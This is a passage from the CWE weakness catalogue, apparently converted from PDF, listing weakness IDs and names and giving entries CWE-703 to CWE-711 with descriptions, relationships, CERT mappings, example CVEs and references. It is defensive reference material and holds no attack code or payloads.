V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
V	467	Use of sizeof() on a Pointer Type
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
V	473	PHP External Variable Modification

Type	ID	Name
B	474	Use of Function with Inconsistent Implementations
B	475	Undefined Behavior for Input to API
B	476	NULL Pointer Dereference
B	477	Use of Obsolete Functions
V	478	Missing Default Case in Switch Statement
V	479	Signal Handler Use of a Non-reentrant Function
B	480	Use of Incorrect Operator
V	481	Assigning instead of Comparing
V	482	Comparing instead of Assigning
V	483	Incorrect Block Delimitation
B	484	Omitted Break Statement in Switch
G	485	Insufficient Encapsulation
V	486	Comparison of Classes by Name
V	487	Reliance on Package-level Scope
V	488	Exposure of Data Element to Wrong Session
B	489	Leftover Debug Code
V	491	Public cloneable() Method Without Final ('Object Hijack')
V	492	Use of Inner Class Containing Sensitive Data
V	493	Critical Public Variable Without Final Modifier
B	494	Download of Code Without Integrity Check
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field
V	497	Exposure of System Data to an Unauthorized Control Sphere
V	498	Cloneable Class Containing Sensitive Information
V	499	Serializable Class Containing Sensitive Data
V	500	Public Static Field Not Marked Final
V	502	Deserialization of Untrusted Data
G	506	Embedded Malicious Code
B	507	Trojan Horse
B	508	Non-Replicating Malicious Code
B	509	Replicating Malicious Code (Virus or Worm)
B	510	Trapdoor
B	511	Logic/Time Bomb
B	512	Spyware
G	514	Covert Channel
B	515	Covert Storage Channel
C	518	Inadvertently Introduced Weakness
V	520	.NET Misconfiguration: Use of Impersonation
B	521	Weak Password Requirements
B	522	Insufficiently Protected Credentials
V	524	Information Exposure Through Caching
V	525	Information Exposure Through Browser Caching
V	526	Information Exposure Through Environmental Variables
V	528	Exposure of Core Dump File to an Unauthorized Control Sphere
V	530	Exposure of Backup File to an Unauthorized Control Sphere
V	532	Information Exposure Through Log Files
V	533	Information Exposure Through Server Log Files
V	535	Information Exposure Through Shell Error Message
V	536	Information Exposure Through Servlet Runtime Error Message
V	537	Information Exposure Through Java Runtime Error Message

Type	ID	Name
B	538	File and Directory Information Exposure
V	539	Information Exposure Through Persistent Cookies
V	540	Information Exposure Through Source Code
V	541	Information Exposure Through Include Source Code
V	542	Information Exposure Through Cleanup Log Files
V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
V	545	Use of Dynamic Class Loading
V	546	Suspicious Comment
V	547	Use of Hard-coded, Security-relevant Constants
V	548	Information Exposure Through Directory Listing
V	549	Missing Password Field Masking
V	550	Information Exposure Through Server Error Message
B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
B	552	Files or Directories Accessible to External Parties
V	553	Command Shell in Externally Accessible Directory
V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
V	555	J2EE Misconfiguration: Plaintext Password in Configuration File
V	556	ASP.NET Misconfiguration: Use of Identity Impersonation
V	558	Use of getlogin() in Multithreaded Application
V	560	Use of umask() with chmod-style Argument
V	561	Dead Code
B	562	Return of Stack Variable Address
V	563	Assignment to Variable without Use ('Unused Variable')
V	564	SQL Injection: Hibernate
B	565	Reliance on Cookies without Validation and Integrity Checking
V	566	Authorization Bypass Through User-Controlled SQL Primary Key
B	567	Unsynchronized Access to Shared Data in a Multithreaded Context
V	568	finalize() Method Without super.finalize()
V	570	Expression is Always False
V	571	Expression is Always True
V	572	Call to Thread run() instead of start()
G	573	Improper Following of Specification by Caller
V	574	EJB Bad Practices: Use of Synchronization Primitives
V	575	EJB Bad Practices: Use of AWT Swing
V	576	EJB Bad Practices: Use of Java I/O
V	577	EJB Bad Practices: Use of Sockets
V	578	EJB Bad Practices: Use of Class Loader
V	579	J2EE Bad Practices: Non-serializable Object Stored in Session
V	580	clone() Method Without super.clone()
B	581	Object Model Violation: Just One of Equals and Hashcode Defined
V	582	Array Declared Public, Final, and Static
V	583	finalize() Method Declared Public
B	584	Return Inside Finally Block
V	585	Empty Synchronized Block
V	586	Explicit Call to Finalize()
B	587	Assignment of a Fixed Address to a Pointer
V	588	Attempt to Access Child of a Non-structure Pointer
V	589	Call to Non-ubiquitous API
V	590	Free of Memory not on the Heap
V	591	Sensitive Data Storage in Improperly Locked Memory

Type	ID	Name
<b>C</b>	592	Authentication Bypass Issues
<b>V</b>	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
<b>V</b>	594	J2EE Framework: Saving Unserializable Objects to Disk
<b>B</b>	595	Comparison of Object References Instead of Object Contents
<b>B</b>	596	Incorrect Semantic Object Comparison
<b>V</b>	597	Use of Wrong Operator in String Comparison
<b>V</b>	598	Information Exposure Through Query Strings in GET Request
<b>V</b>	599	Missing Validation of OpenSSL Certificate
<b>B</b>	600	Uncaught Exception in Servlet
<b>V</b>	601	URL Redirection to Untrusted Site ('Open Redirect')
<b>B</b>	603	Use of Client-Side Authentication
<b>B</b>	605	Multiple Binds to the Same Port
<b>B</b>	606	Unchecked Input for Loop Condition
<b>V</b>	607	Public Static Final Field References Mutable Object
<b>V</b>	608	Struts: Non-private Field in ActionForm Class
<b>B</b>	609	Double-Checked Locking
<b>V</b>	611	Improper Restriction of XML External Entity Reference ('XXE')
<b>V</b>	612	Information Exposure Through Indexing of Private Data
<b>B</b>	613	Insufficient Session Expiration
<b>V</b>	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
<b>V</b>	615	Information Exposure Through Comments
<b>V</b>	616	Incomplete Identification of Uploaded File Variables (PHP)
<b>V</b>	617	Reachable Assertion
<b>B</b>	618	Exposed Unsafe ActiveX Method
<b>B</b>	619	Dangling Database Cursor ('Cursor Injection')
<b>V</b>	620	Unverified Password Change
<b>B</b>	621	Variable Extraction Error
<b>V</b>	622	Improper Validation of Function Hook Arguments
<b>V</b>	623	Unsafe ActiveX Control Marked Safe For Scripting
<b>B</b>	624	Executable Regular Expression Error
<b>B</b>	625	Permissive Regular Expression
<b>V</b>	626	Null Byte Interaction Error (Poison Null Byte)
<b>B</b>	627	Dynamic Variable Evaluation
<b>B</b>	628	Function Call with Incorrectly Specified Arguments
<b>C</b>	636	Not Failing Securely ('Failing Open')
<b>C</b>	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
<b>C</b>	638	Not Using Complete Mediation
<b>B</b>	640	Weak Password Recovery Mechanism for Forgotten Password
<b>B</b>	641	Improper Restriction of Names for Files and Other Resources
<b>C</b>	642	External Control of Critical State Data
<b>B</b>	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')
<b>V</b>	644	Improper Neutralization of HTTP Headers for Scripting Syntax
<b>V</b>	646	Reliance on File Name or Extension of Externally-Supplied File
<b>V</b>	647	Use of Non-Canonical URL Paths for Authorization Decisions
<b>B</b>	648	Incorrect Use of Privileged APIs
<b>B</b>	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
<b>V</b>	650	Trusting HTTP Permission Methods on the Server Side
<b>V</b>	651	Information Exposure Through WSDL File
<b>B</b>	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Type	ID	Name
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity
C	657	Violation of Secure Design Principles
B	662	Improper Synchronization
B	663	Use of a Non-reentrant Function in a Concurrent Context
C	664	Improper Control of a Resource Through its Lifetime
B	665	Improper Initialization
B	666	Operation on Resource in Wrong Phase of Lifetime
B	667	Improper Locking
C	668	Exposure of Resource to Wrong Sphere
C	669	Incorrect Resource Transfer Between Spheres
C	670	Always-Incorrect Control Flow Implementation
C	671	Lack of Administrator Control over Security
B	672	Operation on a Resource after Expiration or Release
C	673	External Influence of Sphere Definition
B	674	Uncontrolled Recursion
C	675	Duplicate Operations on Resource
B	676	Use of Potentially Dangerous Function
B	681	Incorrect Conversion between Numeric Types
C	682	Incorrect Calculation
V	683	Function Call With Incorrect Order of Arguments
B	684	Incorrect Provision of Specified Functionality
V	685	Function Call With Incorrect Number of Arguments
V	686	Function Call With Incorrect Argument Type
V	687	Function Call With Incorrectly Specified Argument Value
V	688	Function Call With Incorrect Variable or Reference as Argument
⚙	689	Permission Race Condition During Resource Copy
C	691	Insufficient Control Flow Management
C	693	Protection Mechanism Failure
B	694	Use of Multiple Resources with Duplicate Identifier
B	695	Use of Low-Level Functionality
C	696	Incorrect Behavior Order
C	697	Insufficient Comparison
B	698	Execution After Redirect (EAR)
C	703	Improper Check or Handling of Exceptional Conditions
C	704	Incorrect Type Conversion or Cast
C	705	Incorrect Control Flow Scoping
C	706	Use of Incorrectly-Resolved Name or Reference
C	707	Improper Enforcement of Message or Data Structure
B	708	Incorrect Ownership Assignment
C	710	Coding Standards Violation
C	732	Incorrect Permission Assignment for Critical Resource
B	749	Exposed Dangerous Method or Function
C	754	Improper Check for Unusual or Exceptional Conditions
C	755	Improper Handling of Exceptional Conditions
V	761	Free of Pointer not at Start of Buffer
V	762	Mismatched Memory Management Routines
B	763	Release of Invalid Pointer or Reference
V	764	Multiple Locks of a Critical Resource



Type	ID	Name
V	765	Multiple Unlocks of a Critical Resource
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
V	768	Incorrect Short Circuit Evaluation
C	769	File Descriptor Exhaustion
B	770	Allocation of Resources Without Limits or Throttling
B	771	Missing Reference to Active Allocated Resource
B	772	Missing Release of Resource after Effective Lifetime
V	773	Missing Reference to Active File Descriptor or Handle
V	774	Allocation of File Descriptors or Handles Without Limits or Throttling
V	775	Missing Release of File Descriptor or Handle after Effective Lifetime
V	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
V	777	Regular Expression without Anchors
V	780	Use of RSA Algorithm without OAEP
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision
V	785	Use of Path Manipulation Function without Maximum-sized Buffer
V	789	Uncontrolled Memory Allocation
G	799	Improper Control of Interaction Frequency
B	804	Guessable CAPTCHA
B	805	Buffer Access with Incorrect Length Value
V	806	Buffer Access Using Size of Source Buffer
B	807	Reliance on Untrusted Inputs in a Security Decision
B	842	Placement of User into Incorrect Group
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
G	862	Missing Authorization
G	863	Incorrect Authorization
B	908	Use of Uninitialized Resource
B	909	Missing Initialization of Resource
B	910	Use of Expired File Descriptor
B	911	Improper Update of Reference Count
G	912	Hidden Functionality
G	913	Improper Control of Dynamically-Managed Code Resources
B	914	Improper Control of Dynamically-Identified Variables
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes
B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
G	922	Insecure Storage of Sensitive Information
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel
V	942	Overly Permissive Cross-domain Whitelist
G	943	Improper Neutralization of Special Elements in Data Query Logic

## Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Development Concepts	699	1081

## CWE-703: Improper Check or Handling of Exceptional Conditions



**Weakness ID:** 703 (*Weakness Class*) **Status:** Incomplete

**Description**

**Summary**

The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Confidentiality**

**Availability**

**Integrity**

**Read application data**

**DoS: crash / exit / restart**

**Unexpected state**

**Detection Methods**

**Dynamic Analysis with manual results interpretation**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fault Injection - source code

Fault Injection - binary

Cost effective for partial coverage:

Forced Path Execution

**Manual Static Analysis - Source Code**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

**Relationships**

Nature	Type	ID	Name	Page
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	844 1294

Nature	Type	ID	Name	V	Page
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1317
ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376
ParentOf	B	166	<i>Improper Handling of Missing Special Element</i>	1000	324
ParentOf	B	167	<i>Improper Handling of Additional Special Element</i>	1000	325
ParentOf	B	168	<i>Improper Handling of Inconsistent Special Elements</i>	1000	326
ParentOf	C	228	<i>Improper Handling of Syntactically Invalid Structure</i>	1000	420
ParentOf	B	248	<i>Uncaught Exception</i>	1000	438
ParentOf	B	274	<i>Improper Handling of Insufficient Privileges</i>	1000	487
ParentOf	B	280	<i>Improper Handling of Insufficient Permissions or Privileges</i>	1000	495
ParentOf	V	333	<i>Improper Handling of Insufficient Entropy in TRNG</i>	1000	588
ParentOf	B	391	<i>Unchecked Error Condition</i>	1000	675
ParentOf	B	392	<i>Missing Report of Error Condition</i>	1000	677
ParentOf	B	393	<i>Return of Wrong Status Code</i>	1000	678
ParentOf	B	397	<i>Declaration of Throws for Generic Exception</i>	1000	683
ParentOf	C	754	<i>Improper Check for Unusual or Exceptional Conditions</i>	1000	1143
ParentOf	C	755	<i>Improper Handling of Exceptional Conditions</i>	1000	1150
MemberOf	V	1000	<i>Research Concepts</i>	1000	1402

### Relationship Notes

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR06-J	Do not throw undeclared checked exceptions
CERT C++ Secure Coding	MEM32-CPP	Detect and handle memory allocation errors
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety

### References

Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. < <http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-mstthesis.pdf> >.

Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995-08-01. < <http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

## CWE-704: Incorrect Type Conversion or Cast

Weakness ID: 704 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not correctly convert an object, resource or structure from one type to a different type.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

## Languages











- C (Often)
- C++ (Often)
- All

## Common Consequences

Other

Other

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>699</b> <b>1000</b>	1026
ChildOf		737	CERT C Secure Coding Section 03 - Expressions (EXP)	<b>734</b>	1131
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	1137
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<b>868</b>	1314
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
ParentOf		588	<i>Attempt to Access Child of a Non-structure Pointer</i>	<b>1000</b>	928
ParentOf		681	<i>Incorrect Conversion between Numeric Types</i>	<b>1000</b>	1058
ParentOf		843	<i>Access of Resource Using Incompatible Type ('Type Confusion')</i>	<b>699</b> <b>1000</b>	1287

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	EXP05-C	Do not cast away a const qualification
CERT C Secure Coding	MSC31-C	Ensure that return values are compared against the proper type
CERT C Secure Coding	STR34-C	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	Arguments to character handling functions must be representable as an unsigned char
CERT C++ Secure Coding	STR34-CPP	Cast characters to unsigned types before converting to larger integer sizes
CERT C++ Secure Coding	STR37-CPP	Arguments to character handling functions must be representable as an unsigned char
CERT C++ Secure Coding	MSC31-CPP	Ensure that return values are compared against the proper type
Software Fault Patterns	SFP1	Glitch in computation

# CWE-705: Incorrect Control Flow Scoping

Weakness ID: 705 (Weakness Class)

Status: Incomplete

## Description

### Summary

The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

**Other**

Alter execution logic

**Other****Observed Examples**

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

**Relationships**

Nature	Type	ID	Name	W	Page
ChildOf		691	Insufficient Control Flow Management	<b>1000</b>	1072
ChildOf		744	CERT C Secure Coding Section 10 - Environment (ENV)	<b>734</b>	1135
ChildOf		746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	1136
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		854	CERT Java Secure Coding Section 09 - Thread APIs (THI)	844	1295
ChildOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1316
ChildOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	<b>868</b>	1317
ChildOf		977	SFP Secondary Cluster: Design	<b>888</b>	1382
ParentOf		248	<i>Uncaught Exception</i>	<b>1000</b>	438
ParentOf		382	<i>J2EE Bad Practices: Use of System.exit()</i>	<b>1000</b>	661
ParentOf		395	<i>Use of NullPointerException Catch to Detect NULL Pointer Dereference</i>	<b>1000</b>	680
ParentOf		396	<i>Declaration of Catch for Generic Exception</i>	<b>1000</b>	682
ParentOf		397	<i>Declaration of Throws for Generic Exception</i>	<b>1000</b>	683
ParentOf		455	<i>Non-exit on Failed Initialization</i>	<b>1000</b>	769
ParentOf		584	<i>Return Inside Finally Block</i>	<b>1000</b>	924
ParentOf		698	<i>Execution After Redirect (EAR)</i>	<b>1000</b>	1079

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	ENV32-C	All atexit handlers must return normally
CERT C Secure Coding	ERR04-C	Choose an appropriate termination strategy
CERT Java Secure Coding	THI05-J	Do not use Thread.stop() to terminate threads
CERT Java Secure Coding	ERR04-J	Do not complete abruptly from a finally block
CERT Java Secure Coding	ERR05-J	Do not let checked exceptions escape from a finally block
CERT C++ Secure Coding	ENV32-CPP	All atexit handlers must return normally
CERT C++ Secure Coding	ERR04-CPP	Choose an appropriate termination strategy

**CWE-706: Use of Incorrectly-Resolved Name or Reference**

Weakness ID: 706 (Weakness Class)

Status: Incomplete

**Description****Summary**

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

### Common Consequences

**Confidentiality**

**Integrity**

**Read application data**

**Modify application data**

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>B</b>	99	Improper Control of Resource Identifiers ('Resource Injection')	1000	190
ChildOf	<b>G</b>	664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384
ParentOf	<b>G</b>	22	<i>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</i>	<b>1000</b>	30
ParentOf	<b>B</b>	41	<i>Improper Resolution of Path Equivalence</i>	<b>1000</b>	73
ParentOf	<b>B</b>	59	<i>Improper Link Resolution Before File Access ('Link Following')</i>	<b>1000</b>	91
ParentOf	<b>B</b>	66	<i>Improper Handling of File Names that Identify Virtual Resources</i>	<b>1000</b>	101
ParentOf	<b>B</b>	98	<i>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</i>	1000	184
ParentOf	<b>B</b>	178	<i>Improper Handling of Case Sensitivity</i>	<b>1000</b>	343
ParentOf	<b>B</b>	386	<i>Symbolic Name not Mapping to Correct Object</i>	<b>1000</b>	667
ParentOf	<b>B</b>	827	<i>Improper Control of Document Type Definition</i>	<b>1000</b>	1258

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
38	Leveraging/Manipulating Configuration File Search Paths	
48	Passing Local Filenames to Functions That Expect a URL	
471	DLL Search Order Hijacking	

## CWE-707: Improper Enforcement of Message or Data Structure

Weakness ID: 707 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not enforce or incorrectly enforces that structured messages or data are well-formed before being read from an upstream component or sent to a downstream component.

#### Extended Description

If a message is malformed it may cause the message to be incorrectly interpreted.

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

**Other**

**Other**

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1000	113
ParentOf	C	116	Improper Encoding or Escaping of Output	1000	217
ParentOf	C	138	Improper Neutralization of Special Elements	1000	285
ParentOf	B	170	Improper Null Termination	1000	328
ParentOf	C	172	Encoding Error	1000	333
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	1000	420
ParentOf	V	240	Improper Handling of Inconsistent Structural Elements	1000	430
ParentOf	B	463	Deletion of Data Structure Sentinel	1000	780
MemberOf	V	1000	Research Concepts	1000	1402

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
4	Using Alternative IP Address Encodings	
7	Blind SQL Injection	
33	HTTP Request Smuggling	
34	HTTP Response Splitting	
43	Exploiting Multiple Input Interpretation Layers	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
66	SQL Injection	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
83	XPath Injection	
84	XQuery Injection	
250	XML Injection	
468	Generic Cross-Browser Cross-Domain Theft	

## CWE-708: Incorrect Ownership Assignment

Weakness ID: 708 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

#### Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read application data

##### Modify application data

An attacker could read and modify data for which they do not have permissions to access directly.

#### Observed Examples

Reference	Description
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself.
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid.
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.
CVE-2007-4238	OS installs program with bin owner/group, allowing modification.
CVE-2007-5101	File system sets wrong ownership and group when creating a new file.
CVE-2011-1551	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations.

### Potential Mitigations

#### Policy

Periodically review the privileges and their owners.

#### Testing

Use automated tools to check for privilege settings.

### Relationships

Nature	Type	ID	Name		Page	
ChildOf		282	Improper Ownership Management		<b>699</b> <b>1000</b>	497
CanAlsoBe		345	Insufficient Verification of Data Authenticity		1000	600
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control		<b>711</b>	1116
ChildOf		944	SFP Secondary Cluster: Access Management		<b>888</b>	1370
MemberOf		<i>884</i>	<i>CWE Cross-section</i>		<i>884</i>	<i>1319</i>

### Maintenance Notes

This overlaps verification errors, permissions, and privileges.

A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

## CWE-709: Named Chains

View ID: 709 (View: Graph)

Status: Incomplete

### Objective

This view (graph) displays Named Chains and their components.

### View Data

#### Filter Used:

./@Compound\_Element\_Structure='Chain'

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>3</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>0</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>0</b>	out of	<b>719</b>
<b>Compound_Elements</b>	<b>3</b>	out of	<b>8</b>

### CWEs Included in this View

Type	ID	Name
	680	Integer Overflow to Buffer Overflow
	690	Unchecked Return Value to NULL Pointer Dereference
	692	Incomplete Blacklist to Cross-Site Scripting

## CWE-710: Coding Standards Violation

Weakness ID: 710 (Weakness Class)

Status: Incomplete

### Description

#### Summary



The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Other

#### Potential Mitigations

##### Implementation

Document and closely follow coding standards.

##### Testing

##### Implementation

Where possible, use automated tools to enforce the standards.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	978	SFP Secondary Cluster: Implementation	888	1383
ParentOf	C	227	Improper Fulfillment of API Contract ('API Abuse')	1000	418
ParentOf	B	242	Use of Inherently Dangerous Function	1000	431
ParentOf	C	398	Indicator of Poor Code Quality	1000	684
ParentOf	C	657	Violation of Secure Design Principles	1000	1017
ParentOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	1153
ParentOf	C	912	Hidden Functionality	1000	1336
MemberOf	V	1000	Research Concepts	1000	1402

## CWE-711: Weaknesses in OWASP Top Ten (2004)

View ID: 711 (View: Graph)

Status: Incomplete

#### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1.

#### View Data

##### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>127</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	15	out of	244
<b>Weaknesses</b>	111	out of	719
<b>Compound_Elements</b>	1	out of	8

#### View Audience

##### Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

##### Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

## Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
HasMember	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
HasMember	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
HasMember	<b>C</b>	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	1118
HasMember	<b>C</b>	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	1118
HasMember	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1118
HasMember	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1119
HasMember	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1119
HasMember	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1120
HasMember	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120

## Relationship Notes

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

## References

"Top 10 2004". OWASP. 2004-01-27. < [http://www.owasp.org/index.php/Top\\_10\\_2004](http://www.owasp.org/index.php/Top_10_2004) >.  
 PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". < [https://www.pcisecuritystandards.org/security\\_standards/pci\\_dss.shtml](https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml) >.

## Maintenance Notes

